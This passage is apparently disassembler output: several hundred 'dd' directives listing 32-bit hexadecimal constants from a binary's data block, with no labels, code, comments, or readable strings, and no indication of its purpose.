		dd 0FBD3A3Dh, 0E22DBEBFh, 60629E8Fh, 21621867h,	30AB2E26h
		dd 514CCBA5h, 0AF40166Ah, 4C19D3FBh, 9CCA55D4h,	0DEE404F2h
		dd 618315E5h, 1F323145h, 0EDCEB31Fh, 9691F785h,	0DDAC3E57h
		dd 23F65670h, 334D2603h, 8E396C6Fh, 0D1DC899Ah,	3306DE68h
		dd 0D54A7252h, 0BD5DE4E4h, 60B72BFAh, 44654C39h, 0A434AB66h
		dd 189AB093h, 6725492Ch, 69DE356Dh, 786A544Ah, 0A5AF0155h
		dd 49A383Ah, 970F2881h,	3B5E4BACh, 0C0C39B0Dh, 13BDFBFCh
		dd 7229552Bh, 14593535h, 0B698D362h, 7AB5D589h,	6B612C5Ch
		dd 85B16C2Bh, 0FE385EEFh, 0AEBFA3FCh, 451D649Fh, 0A60B0601h
		dd 3B6B3F67h, 0C3FB092Eh, 17641E7Ah, 0BBE337C9h, 63984E18h
		dd 0D47BF1E4h, 6DAB037Ch, 0BDEF50BCh, 0BF244C38h, 9A323156h
		dd 30F95A5Ah, 0C23ED376h, 3D4F56D0h, 0A6DC1894h, 504B345Ch
		dd 3CC33231h, 49610A81h, 63D83289h, 3BCE143Bh, 75B5BA26h
		dd 0A963E040h, 50824C40h, 0C74D6FE7h, 30C271ACh, 22600AC0h
		dd 661A930Dh, 0C8DEA58h, 850F6CA1h, 523F30AFh, 39A9BE92h
		dd 0A0A129ABh, 510751ACh, 7C70076Dh, 0C646B1BAh, 0D90EC55Ah
		dd 42920C09h, 5E0CC191h, 2057F1BBh, 9219DC78h, 0BD91EDFFh
		dd 9359D373h, 1EB428EBh, 94D705Ch, 0F2F846D1h, 61BA9689h
		dd 0D3CCEFB3h, 81F970E1h, 24FF18E7h, 4D6918EAh,	0C4DE08ECh
		dd 0F3405B23h, 330BFDB7h, 9DDAAB73h, 7F14C684h,	0F7BACA3Ah
		dd 0CF71F5C1h, 0E77EF9E2h, 0B1D20F6Dh, 0EBBB482Ch, 0A2B627h
		dd 6944D4ECh, 8875F92Bh, 0FF6B1749h, 6769DBE1h,	4C91D352h
		dd 0D4A495C8h, 5B9B009Dh, 8BAFF958h, 889CB2F2h,	0F07E7FB0h
		dd 58E6D3D9h, 18E2EB78h, 62A68C99h, 845586FDh, 0AE7C4D82h
		dd 0D1919433h, 0B42A9585h, 9AA2D7A6h, 22B3254Bh, 514D211h
		dd 6727A9ECh, 0F22EF76Ch, 43463300h, 7B92635Bh,	379E12Bh
		dd 0C5FFD53Dh, 0C37E4FEDh, 57483003h, 8AD078FCh, 1CB9DDF1h
		dd 0B8BE8ABFh, 0B65A7E9Bh, 0E9740D5Ah, 0D3090A7h, 0F38CE930h
		dd 25D6AB8Dh, 7087A0Ch,	26635B49h, 0B78FFE7Dh, 0C2447FE3h
		dd 64CF49DCh, 82B8C5BDh, 6179355Eh, 0A7A0AC33h,	65038A08h
		dd 27ECAB44h, 7B03EFACh, 520E8489h, 9C085457h, 0E76A51DFh
		dd 6103B54Eh, 0D99BF27Ah, 0A343B138h, 2F1A2CCCh, 176F4AF1h
		dd 9DEA8898h, 0F389F709h, 5BE0CC91h, 99BFCBE9h,	6BC68348h
		dd 83393F81h, 6EDAA9DCh, 646D3561h, 0F129B94Bh,	4F3481DDh
		dd 951BE71Bh, 0DE002888h, 0F6BA7139h, 0B6B1089Eh, 96889FB9h
		dd 5BE93F2Ah, 0E0FCD526h, 7AA56AE7h, 93D951BAh,	0E08E20E8h
		dd 3D3FD0E6h, 8637F0B6h, 0D1999B61h, 70C4AA27h,	6669DAE8h
		dd 9B4223EEh, 2C143DF6h, 25C73B7Bh, 6DA34B72h, 7DD60BC8h
		dd 0CB54B4B2h, 9E7146AEh, 0A6B1A88Ah, 12B12AD4h, 82E3F5AEh
		dd 6A117044h, 6CB33BEh,	0EB659977h, 56C2085Ah, 570615A6h
		dd 2449D6BFh, 4F00CA45h, 759E0260h, 0E1EB5FA9h,	67B373B3h
		dd 0C03293B7h, 6F154DB1h, 0F25B3563h, 0E937F5AEh, 91E502A9h
		dd 5C1F601Ch, 0AB43BAA1h, 0C265D6F7h, 420B4E2Ah, 3B5C509Eh
		dd 970AF674h, 15C17030h, 0D57F47F6h, 0F1C3D6E4h, 0C2A618Ah
		dd 0E1F8C6D4h, 2B4F2A7Ah, 304EA050h, 1A26E7C9h,	0CB5E288h
		dd 0F6ADD7C2h, 0C5C6A082h, 31B082D7h, 18186B32h, 0F33A5D3Bh
		dd 11229912h, 93E7E3CFh, 8D21492Fh, 2E365770h, 41E881A6h
		dd 0F41F6819h, 3DE6EB69h, 0D167E258h, 756CB710h, 0D0E46907h
		dd 79D6121Ah, 0D51AD603h, 9CEBCAC6h, 0B64AA08Eh, 0AD4D10DCh
		dd 41BB3B2Fh, 0ABE6A7h,	3E4B306Dh, 72CC08CDh, 62F65E58h
		dd 89010566h, 0A38BE0D0h, 69273713h, 1FE5DBC7h,	0AAC6BBC8h
		dd 0D0FF382Fh, 73C0DD58h, 5568A3E3h, 918D6D13h,	0EF018418h
		dd 5893F0C5h, 214DAF71h, 85B0AB96h, 0BD3C8DBAh,	6E79C440h
		dd 890B54B1h, 173D870Ch, 152B1517h, 4CEC93DBh, 0B864C65Fh
		dd 0EBBEB1D5h, 7227B54Ch, 0E6ED1076h, 9D8C18A1h, 3D631FBBh
		dd 8C2CC64Eh, 7C32AF37h, 16E922AAh, 8F5E43Ch, 0EDDE6767h
		dd 5AF53290h, 1D66EE46h, 0C610840Eh, 0B258A19Eh, 0AAA4D9CAh
		dd 0B266DEDEh, 887645D9h, 4D6E53Dh, 20A37C69h, 0DC40392Fh
		dd 847B62DBh, 6FD1278Ch, 0A2582D3Dh, 34C4D530h,	7A5F9622h
		dd 0AD6514F3h, 0FAB012EAh, 8D3DC679h, 9BC1FAAFh, 0B42754A0h
		dd 0DD8E3C2Ah, 0F9BA40BCh, 8FCC82B8h, 0BC63AB0Ch, 14853B66h
		dd 7E6BFFBBh, 18B45821h, 0D635BE69h, 98378B74h,	9AEE78Fh
		dd 2716D4A5h, 17CC2321h, 34458F2Ah, 591BD54Ah, 0E1631455h
		dd 0B09682E3h, 24857063h, 0BB784737h, 9E07EF2Eh, 0F818CB90h
		dd 64F50AEDh, 52D9A91Ah, 0D46EA545h, 0DD75AA73h, 0E9E1A52h
		dd 63961C5Dh, 70E21CBAh, 0BC62E3A9h, 3C5008E9h,	397CF5D5h
		dd 0C2FCE281h, 0D71068CBh, 0F6D3FD98h, 43780899h, 25439D02h
		dd 0AE6B334h, 0C80030E7h, 66F1F0D2h, 22091AF3h,	534A6684h
		dd 8CED24FFh, 6644EB2Fh, 0E5DC82C5h, 23B83E88h,	89799D97h
		dd 496C661Ah, 0CCF1D272h, 0D6BB2CCAh, 0E54E4092h, 0A03A1B4Ch
		dd 0FC7FCCC3h, 1AABBBE3h, 10D73BCEh, 421110Eh, 0E2A81F8Fh
		dd 84B68565h, 2AF023E5h, 3399E575h, 1696243Fh, 41CA030Ah
		dd 0E545A9Ch, 0F370B02Fh, 63633DCFh, 0EF0E1481h, 6ED45CABh
		dd 0D8C6C102h, 0F254C78Fh, 22302228h, 47968B5Dh, 1546DC5h
		dd 0A8132940h, 195BF204h, 0A8B52D39h, 0DB3307CCh, 0E8E0F5F5h
		dd 0DBB7F44Bh, 50B54924h, 2EE2C717h, 8E88AC6Ah,	6391DEA8h
		dd 0B81B81AAh, 996020AAh, 0D4275526h, 21D0CD0Ah, 5506F554h
		dd 1861FDE4h, 1D2BE89h,	0CCDA7DC4h, 8C9BFC39h, 0A30C4B08h
		dd 83F1953Fh, 6C60ABA5h, 0C7BCDE74h, 4E469A25h,	39F47DEFh
		dd 0D7F3B198h, 2E8355C0h, 28816C2h, 82C9D3CCh, 470ECA61h
		dd 0CF810B42h, 4F243BDBh, 0C474B1F7h, 0C5F315C1h, 0F5D71F45h
		dd 8B7F1622h, 8E7F59EAh, 5A5AC61Dh, 0DAD361BAh,	32B31CD0h
		dd 7699A79Ah, 986C5566h, 7E823F65h, 342BC2CAh, 3EEE62FDh
		dd 44B45DB4h, 0CFCB46EFh, 5953E3BCh, 0A06CD0EBh, 0DD208F63h
		dd 7B2F5671h, 0D8E2E4C4h, 38F5534Fh, 39FBEC0Fh,	0E4F007CBh
		dd 69FBB587h, 0FA102201h, 5F6415D0h, 8D1DF463h,	0F06F067Ch
		dd 8540EBE7h, 9187074Eh, 1ED708ACh, 1C374042h, 9B60379h
		dd 3B1B253Ah, 0E780CCEFh, 0A598E904h, 0A63906FEh, 4A202F07h
		dd 0FD2B9D1Ah, 9A8B46FAh, 28E8E85Fh, 599C274Eh,	0DDA6920Eh
		dd 6F036761h, 80506748h, 8AF4D2BCh, 0C5B635A2h,	0F5E36479h
		dd 0C4CFAA0h, 7C6F78BFh, 5CC808A3h, 0F32D4E46h,	1437A172h
		dd 3FE3398Bh, 2816FCDFh
		dd 0EAB27BADh, 70E61F69h, 0FBDC0656h, 2877D903h, 133D1AEDh
		dd 2601CEF4h, 570683Ah,	0BFC939h, 0BAFB9456h, 114DB43h
		dd 740AE8D4h, 4E47567Ah, 0D9EAB1B0h, 0C85CBB97h, 8CC6BAh
		dd 0B95C7B66h, 0D7BF82E9h, 94B717BBh, 58CBAF65h, 4AD20AABh
		dd 0AF43D3FFh, 1316A0ACh, 1E866F5Bh, 9BE9730Dh,	9109B997h
		dd 0BF449061h, 5560C402h, 590F5E7Eh, 26705ED8h,	89D4ACD4h
		dd 0E9896BDDh, 1D9E48FCh, 78F425F8h, 0FB19BA4Eh, 0FE2F3EC8h
		dd 0FBBD9F34h, 0C2328049h, 2730314h, 9AA1D8EFh,	8EF84374h
		dd 6347869Dh, 2EEC931Bh, 3932748Dh, 1E73BF03h, 64D29534h
		dd 57933786h, 0B837770Dh, 54AA5C73h, 0DE20C72Ah, 918CBBF2h
		dd 35DA28EBh, 425A15ADh, 0D26AB9B4h, 0EFAB0Bh, 756EEB1Fh
		dd 5A27743Ch, 2E70096h,	9790E22Bh, 1384A2DCh, 0ECE27D48h
		dd 3A57C6B9h, 0E988E896h, 46F83D42h, 66529C1Fh,	0C7F520AAh
		dd 75517514h, 0F0B43A67h, 1571DCC1h, 52DEEC30h,	68918C04h
		dd 0E743DCA9h, 836DFCDBh, 771B74C3h, 41465BA9h,	4C33469Ch
		dd 7044C2F4h, 63B6A707h, 32316555h, 9FBB984Ah, 9516D19Fh
		dd 362356BFh, 0B3E81962h, 0E4A34461h, 0B5BE5994h, 3845B39Ch
		dd 9C33E3DCh, 1FCA691Dh, 0D70297F0h, 8ADDBBD6h,	0C4CDD1A0h
		dd 0FBE2F341h, 424F7F7h, 0C1B5FD53h, 0ABFC4847h, 2AD95F3Bh
		dd 763A7880h, 9204A96Ch, 826E399h, 55ECB8D4h, 62FF9A69h
		dd 42D3BFF6h, 5E7B73EBh, 0AFDD0F45h, 3FDEEC1Eh,	95A86D20h
		dd 0B93E21E4h, 2142DD0h, 72CBA55Ch, 62BC9594h, 86336373h
		dd 0E61EAA3Bh, 0E3BB6727h, 9EDE1691h, 841518D9h, 0E31418E4h
		dd 86364D7Eh, 0E0AB5666h, 8A8E6D58h, 0B459128Ch, 3B7E63A1h
		dd 2DCE856Ah, 7865925h,	40348E0Ch, 84ECCF00h, 4E0866F4h
		dd 18355BA3h, 0EF9C205Bh, 5A4B5FE0h, 0D6F92DE5h, 0FAE5C264h
		dd 83D2679Dh, 869D578Bh, 0D05BA85Bh, 0D4387CF5h, 14933314h
		dd 0F3125FBBh, 38D7CB33h, 3F1B155Bh, 0F057D6F3h, 868B9F68h
		dd 22519D49h, 3A808C1Ch, 0A7E80403h, 0AA3393E8h, 0D8F27FAAh
		dd 0B0E5943Ah, 0B8257D33h, 0B40DE535h, 0F9F12A59h, 0FA8B9D11h
		dd 1DD9CDBBh, 250A225Ch, 37737AE4h, 11ED21Eh, 6372DFE5h
		dd 0F93A9CA0h, 6178ECF4h, 0F37A99DEh, 0D8A0D4DBh, 0DBF02145h
		dd 6F5D80C1h, 0A3FC6798h, 0E55DF37Fh, 0E220C8FEh, 7AAFFA3Dh
		dd 0C6395BACh, 57237E91h, 9D13238Ch, 491DD2B9h,	2D5F6DBBh
		dd 5013E2AAh, 0B2E5343h, 947285B6h, 76E83F13h, 81A2B04Ah
		dd 0F545268Fh, 945E8C3Ah, 642A958Dh, 0EA010C59h, 9D80A60Bh
		dd 209D0E66h, 91D9091Fh, 4213EDBh, 29E87CCEh, 821C3E68h
		dd 0D00BBA02h, 0C04CB23Bh, 0C8F5C73Fh, 0DE968E53h, 0C1CFA49Fh
		dd 0D116269Fh, 4DD4B5BDh, 0FFB65B37h, 0DE41D2BBh, 8D6B17A4h
		dd 182FFCCh, 0FEC36DBBh, 4B5FA5DAh, 0C3192CB2h,	0BA99B884h
		dd 5F4E99CAh, 36FDCED6h, 5EFDA11h, 70E79BC3h, 0C8902B4Ah
		dd 41A8EBDAh, 0D345E8A9h, 78ADAFB3h, 7F1CC3DFh,	0A802B44Ah
		dd 0F25F60A7h, 0CC6A2ABDh, 0E683017Fh, 332A820Ch, 0FDF9C2AFh
		dd 0FA172350h, 221D4071h, 364B525Bh, 0E50B0D23h, 7BC594A9h
		dd 347B8766h, 33234C0Bh, 624E3F65h, 89BDA6DBh, 4172D3B0h
		dd 7796079Bh, 0CD627930h, 9E72F5Eh, 7FA6D018h, 986BAF51h
		dd 0C4A7D9C5h, 0D4206075h, 56CBFDF3h, 4E28220Ch, 56E9BC8Bh
		dd 41021E41h, 6BEC21DCh, 42DB54B9h, 31298852h, 0E29F2632h
		dd 413AFFA3h, 0C6B3394Dh, 3F45B139h, 6A383F4Bh,	4BEB76ACh
		dd 0CAC6D35Eh, 0C59A6048h, 0D1D89A56h, 750FF611h, 52157FD7h
		dd 0D16849CBh, 0A7EE90A5h, 0C9F8ABD4h, 93A772F5h, 0A8EEAFCEh
		dd 0E7F78978h, 37D6E0E3h, 0C0071E15h, 0A0D573ECh, 11209A90h
		dd 2493C164h, 0DF2814A2h, 4CF0ACB0h, 3FE913E1h,	591928DFh
		dd 0D9325712h, 92C6C5ADh, 984878AAh, 2A411DF2h,	851B8CBDh
		dd 35F89208h, 4DB9C0C0h, 0B1E122E5h, 90A547DEh,	0DDA86AB0h
		dd 0BE6A1F41h, 0D726AACh, 0C32B892Dh, 0B9700C1Ah, 0AF888388h
		dd 0C4C101F5h, 0B4C14974h, 8CB99CD2h, 0C4EDB720h, 79F6BA26h
		dd 8D5940A2h, 0A52CE6C7h, 2610F3D0h, 0E6B6A45Ch, 51AB0150h
		dd 2FED1A3Fh, 8483D5C7h, 8AC35A7Eh, 74601387h, 2BD18DB2h
		dd 0B0467E4Eh, 7C61F01h, 8CFBE788h, 0ADA68CBAh,	0B871A6D6h
		dd 1220F9F5h, 2887FBECh, 12FDA06Bh, 2A6C7601h, 0E0E00B5Eh
		dd 0BF020A7Fh, 8CBCD8D5h, 0B63F5E3Ah, 0BF692F90h, 69C10CE3h
		dd 39392822h, 2E0AA9A4h, 54EAF92Bh, 7DAF0806h, 0E275AF90h
		dd 0BC5FEE40h, 9186836Dh, 1C79C574h, 0B01C1830h, 0B44F5145h
		dd 9D4A20Bh, 85859108h,	0BDD8E7BCh, 0FAB3E147h,	2AF6BB8Ah
		dd 81F1F743h, 0FB7FED80h, 510EA5D3h, 179D4185h,	5EE49AFAh
		dd 0EF30383h, 0CB9B74EBh, 0FD68AD9Ah, 0A51CDAFDh, 15394A57h
		dd 0C04E1DA9h, 91EC39F7h, 0F43D2F04h, 0A866BDCDh, 119112FCh
		dd 131CD3FFh, 0E8F5E10Ch, 9B1D4D7Ch, 0F15339EAh, 63180933h
		dd 0B57909E8h, 11EC2EB1h, 0FD14FC16h, 0C04A19CFh, 0E06DDAA8h
		dd 0B9D5722Ah, 36F85449h, 0D3D84AE4h, 56152BD0h, 4D5545FFh
		dd 7053E782h, 6D7E833Ah, 2A105A11h, 47AA748Ah, 0E1742F5h
		dd 3B8D6F46h, 2DC48B0h,	10EA63C2h, 0DB3E8FEEh, 2F06DD12h
		dd 0C54275A5h, 3AB4435Fh, 4DB0DFFEh, 1CD576C4h,	44F8338Ch
		dd 8F1B7D14h, 0DCEDA284h, 97FAA6D1h, 561CC718h,	0E9973400h
		dd 0A1F5F6AAh, 0EC9A56D8h, 59619987h, 0C5EAC6B7h, 7E565403h
		dd 7C4400C7h, 540F4885h, 1CBF1369h, 42473C39h, 31CA8A6Eh
		dd 0B60D8032h, 60955B4Ah, 401D9D2Ch, 1DDEA5Eh, 6EAE59B4h
		dd 7632CE5Ch, 656B7DF2h, 3BB8E727h, 77F83F66h, 0AF5A6572h
		dd 51630598h, 13156B0Ah, 0C355DF2Dh, 0AEE6FA65h, 0FF397BC3h
		dd 1974C251h, 0D9089608h, 0EF979A6Fh, 0EAE7CEEDh, 6186F5C7h
		dd 7BDF2FE2h, 7535CD07h, 80D71235h, 6C93455h, 0B44B4EDDh
		dd 96D905ACh, 0A4D9F86Fh, 161E1269h, 2AAB1892h,	326ACE64h
		dd 7C1C580Dh, 0FA534245h, 860D44DAh, 18F0C2Bh, 0E1B5D7FEh
		dd 6B259772h, 91BEE257h, 0FC5B98B2h, 7A031607h,	0B1B29465h
		dd 267186A9h, 1620D617h, 0AA3556C9h, 0B299076h,	0C30C2DBAh
		dd 52D7505Dh, 7367820Ah, 0B8874DD8h, 66CADC6h, 0AAC6A16h
		dd 90533D59h, 89EB655Fh, 2FE0145h, 17F34D7Ah, 0C7D91FA0h
		dd 0F2C62C04h, 0DE179DBh, 2AA3B4D0h, 33CCEE6Ch,	156374A6h
		dd 51406A83h, 2C45A50Ch, 0B5AA9A83h, 4962258Fh,	4DBCA32Eh
		dd 0D6BFF568h, 37AFEAEFh, 5D1534F1h, 0C6EAC5D6h, 0BE69A386h
		dd 9D730DADh, 49CE8DD9h, 0F8BA4056h, 43D4AAE5h,	72CD773Bh
		dd 7CF2C957h, 469AB8FAh, 0CC6871BFh, 0F94FD109h, 3459330Dh
		dd 0EF08CB7h, 4E04FB2h,	0F4401B60h, 234EBA65h, 0E67A2BDDh
		dd 42615452h, 0E1C3692Bh, 5E8B6BCEh, 9151049Ah,	0CB242E0Bh
		dd 3231ECEAh, 87437B7Ch, 0BEF47F8Dh, 8DB453CBh,	6FFDA440h
		dd 92CD3865h, 1DD11047h, 2834E4A9h, 0B12FEBF3h,	0EA51F92Ah
		dd 5E191250h, 8853248Ah, 0D13F2E24h, 0E041E57Bh, 0AF437C68h
		dd 11D166F5h, 1C55E74Eh, 3DD2A35Eh, 60234701h, 72FA4CD0h
		dd 50FF0DEBh, 3025EB1Dh, 98E3F8A1h, 9E5A11FFh, 53F81BF0h
		dd 541012E6h, 0AFCE02Dh, 0BC42ECA0h, 857004F3h,	3DD7D7B4h
		dd 1B9EB86Fh, 2AC10341h, 0AAE99D4Ch, 6E6223D4h,	2FD34B47h
		dd 2AFDB3ACh, 1D4D91B9h
		dd 967584DFh, 6030760Ch, 0B6DB85D4h, 0F0EDA66Eh, 0E3103EF4h
		dd 740ECA1Fh, 0A9B89EFCh, 86445DD3h, 0B1EE0FFBh, 3D8CA0F9h
		dd 9F525E2Bh, 0FC6E6109h, 64E6FC30h, 95A8B759h,	33FF1760h
		dd 70A9DDBDh, 7556AA4Eh, 0C99BB84Fh, 0D0422F0Fh, 0D406242Fh
		dd 74566D64h, 5FEB2759h, 998836ECh, 39F8CE0Ah, 0D7A4B0F9h
		dd 6BCC8379h, 206130BAh, 0B4C7DA5Ch, 0BF9C26C9h, 3A6EB6DBh
		dd 276BBD12h, 675A55B5h, 6ED7DE7Eh, 7D0DE292h, 0A607FCBh
		dd 496F78FDh, 7D501D32h, 0F189AD35h, 5B5C850h, 0A3A7EAh
		dd 78522AA9h, 0D2EC39Dh, 9BDDC57h, 2FCD62CEh, 0D1C78376h
		dd 51505B5Ah, 38A04C2Ah, 9A0A658Ch, 85EB18A5h, 98EFD62Dh
		dd 0C994454Fh, 2690BEC4h, 2C9E944Eh, 2926B65h, 34D3FF40h
		dd 3A883ABBh, 0DA749F0Ch, 739BF0C3h, 0AE893668h, 4573BF9Fh
		dd 0D68A18FEh, 13E749A5h, 2FAE5486h, 8D075D64h,	0F76A2CF9h
		dd 0BF7878BEh, 0B9BEC5DEh, 764F1E1Eh, 0D19574C3h, 0E02F2AB7h
		dd 183624BBh, 0FFC00CF8h, 9FD4C89Eh, 0C00595FBh, 0E2B0E63Fh
		dd 0A20E1C07h, 3231144Ch, 2734A192h, 0D8738FAFh, 9D548179h
		dd 0BCE57A6Bh, 53675A02h, 0E141A9F0h, 3BBCC56Ch, 66B6AD03h
		dd 6133440Ch, 0DEB24B4Fh, 0DC514F6Fh, 60C0BA18h, 86B380B4h
		dd 40218CFAh, 76B6BBDDh, 3467AEDFh, 0C91AD13Ch,	7918C89h
		dd 3C6BCD20h, 6109B45Eh, 9184A638h, 69781C67h, 84A879Bh
		dd 0C4AE85E7h, 0F6609704h, 4C3DCEB9h, 12C03A6Fh, 81AA042Dh
		dd 0AEBAB059h, 95AB7293h, 3788A908h, 0B9A12144h, 0CAE3E9D8h
		dd 846814EBh, 1B6986A9h, 9926ED3Ch, 72AA2B28h, 7A3EE96Bh
		dd 19400800h, 72F2BACh,	0C8E69B16h, 0A88A6A44h,	681F9007h
		dd 0A044CFD7h, 0AC256849h, 5A812B2Eh, 2F183AFCh, 0A514C605h
		dd 0D38CFEF7h, 0E0D9890Ah, 92306D12h, 0A4F04950h, 0A3457998h
		dd 7873234Dh, 6C177A59h, 0DF40CBCFh, 492EA1F5h,	0EE9B2C52h
		dd 399A89CCh, 0C5CF1C5Ch, 0AC5198BEh, 0F866087Dh, 83EA1810h
		dd 9EB8D9C7h, 0CE18B776h, 5D394D34h, 0FFECB5AFh, 5DBFBA26h
		dd 1E6D73BCh, 4F140243h, 4D5A39A2h, 7818F9DDh, 0DA7E2E92h
		dd 3704DB53h, 3CCD7911h, 5CD8C710h, 0EB601A50h,	0C37E9A7Fh
		dd 6DBCB17Bh, 0CF40950Fh, 1C2D81D0h, 7D475051h,	20138F4Eh
		dd 0F227F2BDh, 52F4A8E2h, 0D08116BAh, 0DFDD518Ah, 0EE6C85EDh
		dd 0C95AD4D4h, 2DA87DEFh, 7C27CB04h, 0F6B205ECh, 0E3EB39B8h
		dd 9E20DB7Ah, 0B551F08Dh, 0BE45CF22h, 0A94D8158h, 38D8965Ah
		dd 0E35CE2D6h, 5F5DC454h, 15AE0A9Ch, 6EF088E4h,	91F14ED1h
		dd 0E2C9360Fh, 25780646h, 1E86EFF7h, 5A3B1409h,	0F4FC64C7h
		dd 97ABD63Ch, 0C0097778h, 489928F4h, 0C96D88B3h, 235497EFh
		dd 0AAC6844Ah, 502219ECh, 0A3345680h, 1BEDD9CBh, 0C88F3C8Eh
		dd 8367AEFBh, 6484B7E8h, 397C1EE0h, 0A0FEF471h,	54CFFBABh
		dd 591E2D98h, 326DE253h, 0AA21364Eh, 5A59BD72h,	0A38DFCF6h
		dd 5EFEEB6Bh, 4D2FD3A9h, 0F0E4C005h, 0E3A0C551h, 3ED51134h
		dd 0E07D752Eh, 2A0BB179h, 0EB3C6CD6h, 0FD91C6A1h, 52B3C7Bh
		dd 66BC0DD4h, 0A2DD8239h, 682EEE01h, 5D1E7909h,	444A78Ch
		dd 0B01B01A4h, 0D7A3A3CCh, 12399005h, 0F48FBBD2h, 7FB39DE7h
		dd 8C629E8Ch, 9BCD3622h, 0B1477A59h, 9B701FADh,	0CC23B257h
		dd 392248ADh, 245F166Fh, 0BDE56861h, 101586F5h,	4A0419D6h
		dd 6D6012A2h, 607CB5ABh, 1132231Bh, 0F8485948h,	0C7F76BB7h
		dd 8B5CFC29h, 508C60Ch,	5F706EEFh, 0DE8D2D33h, 30E2B698h
		dd 0FB4439DFh, 0DBBF30A4h, 0BE619B45h, 8ADC4AB9h, 0F683A0ADh
		dd 407A63F3h, 0EB00DE91h, 11178F60h, 0AE944246h, 0D4BA7078h
		dd 0CAE8007Fh, 0B2B601A6h, 1A2F250Dh, 452E8C04h, 3370086Dh
		dd 0CBD1BE12h, 7172039Ah, 0B362AC27h, 0CBC1436Ch, 3231B058h
		dd 0EAE745D7h, 0EB79AADBh, 0E953FCF5h, 7A94D22Ch, 7772C89h
		dd 93E8186h, 70302A87h,	0EF90CB89h, 53028EF1h, 25B5FEA8h
		dd 0D4B38DE1h, 3A419F11h, 7399E2D7h, 1EAD2CFCh,	0ADBAE72h
		dd 7536FA4Bh, 9CB2C76h,	40D57F4Fh, 0E0ACE21h, 0F47CA19Eh
		dd 0C4E405A9h, 0D34087A4h, 61C8BAE9h, 0AEA3AD25h, 0FDC312ADh
		dd 60F17EE4h, 44AE7ADh,	2BF7A62Fh, 6A370B9Bh, 0FF01BD4Fh
		dd 86E319E8h, 59C9BA77h, 0EB943F17h, 0B06EF8E2h, 0CFAF5647h
		dd 6A1953DAh, 5FC541CCh, 0D88251EBh, 0E5AF415Eh, 55DB8C39h
		dd 0B85B1837h, 0ED193DB6h, 21674BBBh, 0CDE90678h, 1BEEE953h
		dd 1217D141h, 0F5A0D8CEh, 0A1F62B28h, 5D3D6389h, 0E333925Ch
		dd 3321F6CEh, 5EC5C6ECh, 1552F179h, 68EEF095h, 53078C4Ah
		dd 0B235482Ah, 0DA4ACE83h, 922C9BB9h, 0D1CED145h, 1CE4D16Eh
		dd 0F0509062h, 32311718h, 0BB62186Fh, 0E04890DCh, 89094C61h
		dd 99D7D613h, 8ED1F827h, 3CB5A83Ch, 31F1A278h, 0F13B2E32h
		dd 0DDD27DF3h, 0E166ABEBh, 0A2D8D00h, 456D770h,	805B1884h
		dd 64262246h, 0C286F1C2h, 0E3957F0Fh, 30E10AFDh, 2F097C7Dh
		dd 967F39Ch, 8E2C3699h,	47647988h, 927E8278h, 9E5248A0h
		dd 319E34C5h, 7280B532h, 0E12D913Bh, 3AF635A3h,	94F1B957h
		dd 156D3BC3h, 0E7C04E01h, 34A1E24Dh, 0A2CF5B20h, 0C053F2EAh
		dd 0B3203B1Fh, 66247B26h, 3ED09660h, 0AF80D43Ch, 278D0F48h
		dd 2E4AB29Ch, 3EA98EFAh, 0C776663Ch, 953805B3h,	3CD41564h
		dd 58D53FE4h, 5DCFF36Bh, 5038FEA8h, 0DDD7E74Ah,	5FB611ACh
		dd 0D53B89F0h, 507DA135h, 568E03FDh, 898E06BDh,	0F92307C9h
		dd 0C776AFD7h, 73E0F276h, 0E916B6EFh, 0D7106D1Dh, 45083231h
		dd 4E769554h, 95BCC915h, 0F05DAB28h, 76504F3Fh,	8CA9FB0Ch
		dd 6013D877h, 0D5C759E1h, 0E6EC426Eh, 7050D3A8h, 2CE7987Dh
		dd 8248F0BBh, 0A9012552h, 30735A46h, 917D4A8Bh,	0B9AA597h
		dd 6B039325h, 0C6D90EEBh, 1307C1AEh, 67EA4BFBh,	0C49A9432h
		dd 0E2D62758h, 270A9D8Eh, 96ED83Fh, 1BCDAD28h, 86476E15h
		dd 0A6A56FEFh, 1B192FD0h, 0AFDBF477h, 0D3D1F6AFh, 0A3E2D789h
		dd 669393Ah, 6106787Eh,	9E06BF2Dh, 317C9D90h, 2C443432h
		dd 4FFE403Eh, 0F6B0A713h, 0CC7E704Fh, 0E8F1836Ah, 0E393C7EFh
		dd 896032CFh, 91C15B7Bh, 6CA36C1Bh, 52B13305h, 0C8999790h
		dd 547BE5C3h, 0D8720944h, 0B45973A2h, 0A21F6DE4h, 5D891E50h
		dd 7A6B97D4h, 0C83B1D62h, 65C55E05h, 955A18E5h,	235CAF2Dh
		dd 0CBD3C93Eh, 368A0CFEh, 32CB9BE6h, 0BA00E51Bh, 63B1FE34h
		dd 0A293FBBEh, 0CC5DC5C7h, 0C8444F39h, 909971ABh, 0A35E1342h
		dd 0BC3C91B1h, 1E190795h, 0BCAA4F0Eh, 0CD071CFh, 0D925CB71h
		dd 3BEB303Dh, 476F26E4h, 287ED70Eh, 46D9DE26h, 307A9041h
		dd 0B1C7577Eh, 0E10629FEh, 7A540BEDh, 7E7ED0D6h, 0E5C70175h
		dd 3D5172Dh, 32679A79h,	0D5DD3AF8h, 468355Ah, 0D2A6E42Eh
		dd 580AED7Dh, 0AE9E6BB4h, 0F33A1603h, 55BCB0D4h, 232925Ah
		dd 581B46B6h, 504B2DCCh, 9EF9DE95h, 0AC6EE6E6h,	0DFB68C2Ch
		dd 0A896EB21h, 0F08C8F17h, 6667CFD0h, 0D4CA72A1h, 43B1E902h
		dd 1049E50Ah, 7A76089Ah, 0FD9963CCh, 0C66DA28h,	0B134C5F4h
		dd 162A6894h, 868B3322h, 2A65C617h, 8AD5700Dh, 97079F2h
		dd 0EB615E90h, 0F3E6793Ch, 0EC282F75h, 0A88BB60Bh, 0C9D8CB17h
		dd 79EE403Ah, 0B12D6AEAh, 0DC08F98Ah, 0D3FAD222h, 8A6E8335h
		dd 0F0C17D0Eh, 0B4B687Dh, 7E8C9BA5h, 661ACE65h,	0C3ED9E10h
		dd 29BB002Ch, 0B17D13D1h
		dd 4653B0DBh, 0FAFA245Fh, 2E2377D9h, 8D868869h,	0E65714B9h
		dd 92D6E9E4h, 0DD2DEAA8h, 0C372C3FFh, 0CBE25ECEh, 7DC4500Bh
		dd 64BD202Ah, 7A21755Eh, 97F19F3Ch, 954D5104h, 0FA8D5D05h
		dd 0F03B50E4h, 9058D78Ah, 3BE157FDh, 0C92AAD9h,	1BA9606Eh
		dd 0A125A555h, 61C28654h, 53FC4129h, 0C2D9DEBh,	5FCFF16Ch
		dd 0FCC5F319h, 0AE70E4B7h, 0DE05FED1h, 1C73DC58h, 96EEC0D2h
